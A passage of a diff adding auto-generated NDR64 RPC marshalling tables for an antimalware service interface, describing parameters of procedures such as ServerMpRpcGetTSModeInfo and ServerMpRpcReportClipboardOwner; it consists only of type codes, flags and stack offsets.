(NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1719_t __midl_frag1719 = +{ +/* *Struct_3782_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1720 +}; + +static const __midl_frag1718_t __midl_frag1718 = +{ +/* Struct_3762_t */ + { + /* Struct_3762_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3762_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3742_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1716 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1717_t __midl_frag1717 = +{ +/* *Struct_3762_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1718 +}; + +static const __midl_frag1716_t __midl_frag1716 = +{ +/* Struct_3742_t */ + { + /* Struct_3742_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3742_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag1715_t __midl_frag1715 = +{ +/* *Struct_3742_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1716 +}; + +static const __midl_frag1713_t __midl_frag1713 = +{ +/* union_3714 */ + { + /* union_3714 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1877, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 3 /* 0x3 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1715, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag1717, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag1719, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1712_t __midl_frag1712 = +{ +/* Struct_3800_t */ + { + /* Struct_3800_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3800_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1713 + }, + { + /* Struct_3800_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1711_t __midl_frag1711 = +{ +/* *Struct_3800_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1712 +}; + +static const __midl_frag1710_t __midl_frag1710 = +{ +/* **Struct_3800_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1711 +}; + +static const __midl_frag1708_t __midl_frag1708 = +{ +/* Proc177_ServerMpRpcGetTSModeInfo */ + { + /* Proc177_ServerMpRpcGetTSModeInfo */ /* procedure Proc177_ServerMpRpcGetTSModeInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1710, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1702_t __midl_frag1702 = +{ +/* Proc176_ServerMpRpcUpdateTSMode */ + { + /* Proc176_ServerMpRpcUpdateTSMode */ /* procedure Proc176_ServerMpRpcUpdateTSMode */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1697_t __midl_frag1697 = +{ +/* Proc175_ServerMpRpcSetDriverUnloadInProgress */ + { + /* Proc175_ServerMpRpcSetDriverUnloadInProgress */ /* procedure Proc175_ServerMpRpcSetDriverUnloadInProgress */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 5 /* 0x5 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2355, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1690_t __midl_frag1690 = +{ +/* Proc174_ServerMpRpcGetFCValue */ + { + /* Proc174_ServerMpRpcGetFCValue */ /* procedure Proc174_ServerMpRpcGetFCValue */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1673_t __midl_frag1673 = +{ +/* Proc172_ServerMpRpcSendDeviceControlToast */ + { + /* Proc172_ServerMpRpcSendDeviceControlToast */ /* procedure Proc172_ServerMpRpcSendDeviceControlToast */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1662_t __midl_frag1662 = +{ +/* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 +}; + +static const __midl_frag1661_t __midl_frag1661 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag1660_t __midl_frag1660 = +{ +/* **Struct_3370_t */ + { + /* **Struct_3370_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3370_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1661 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1662 + } +}; + +static const __midl_frag1659_t __midl_frag1659 = +{ +/* **Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1660 +}; + +static const __midl_frag1657_t __midl_frag1657 = +{ +/* Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ + { + /* Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ /* procedure Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1659, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2266, + { + /* arg_6 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2367, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag1652_t __midl_frag1652 = +{ +/* Proc170_ServerMpRpcDlpDelegateEnforcement */ + { + /* Proc170_ServerMpRpcDlpDelegateEnforcement */ /* procedure Proc170_ServerMpRpcDlpDelegateEnforcement */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1645_t __midl_frag1645 = +{ +/* Proc169_ServerMpRpcReportClipboardOwner */ + { + /* Proc169_ServerMpRpcReportClipboardOwner */ /* procedure Proc169_ServerMpRpcReportClipboardOwner */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, 